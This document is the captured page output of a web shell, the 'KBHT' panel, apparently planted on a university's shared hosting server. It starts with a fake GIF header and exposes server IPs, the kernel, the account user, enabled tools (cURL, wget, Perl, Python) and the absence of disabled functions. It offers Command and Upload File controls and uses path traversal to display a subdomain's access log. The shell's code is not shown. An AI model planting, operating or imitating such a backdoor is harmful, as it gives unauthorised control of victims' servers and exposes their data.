GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.117.70.64
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/jnclnmuac/public_html/web/assets/jquery/../../../../access-logs/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/assets/jquery/../../../../access-logs/grievance.jnclnmu.ac.in
172.26.0.195 - - [24/Nov/2024:14:41:34 +0000] "GET /.well-known/acme-challenge/57LIUAKFLKKQ7S5LZTXSRP63II4H6EL1 HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
172.26.0.195 - - [24/Nov/2024:17:41:29 +0000] "GET /.well-known/acme-challenge/F7LLD873GHURWPWE_YZJ5R-XKYPB2YML HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
172.26.0.195 - - [24/Nov/2024:20:41:31 +0000] "GET /.well-known/acme-challenge/S38JZQJYK7-A37M-RXDCSYE_INTGM8V1 HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
172.26.0.195 - - [24/Nov/2024:23:41:34 +0000] "GET /.well-known/acme-challenge/-P6LCE06JMUSBYR60GHNYE8UU-TNC0L- HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
199.45.154.120 - - [25/Nov/2024:01:12:18 +0000] "GET / HTTP/1.1" 200 2229 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
199.45.154.120 - - [25/Nov/2024:01:12:19 +0000] "GET /favicon.ico HTTP/1.1" 404 - "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
172.26.0.195 - - [25/Nov/2024:02:41:38 +0000] "GET /.well-known/acme-challenge/EL4PB44ZOCN-_5EV72IXAI4IJ93B0CGQ HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
172.26.0.195 - - [25/Nov/2024:05:41:37 +0000] "GET /.well-known/acme-challenge/6R43RYRYNZ-5SQMUP2FKURQJLM6A0WJA HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
172.26.0.195 - - [25/Nov/2024:08:41:46 +0000] "GET /.well-known/acme-challenge/DI-PEW1LL_FNBSHVB4IVD_6XT5FALLPO HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0"
185.255.173.169 - - [25/Nov/2024:10:49:32 +0000] "GET / HTTP/1.1" 200 2229 "-" "GuzzleHttp/7"

KBHT - 2023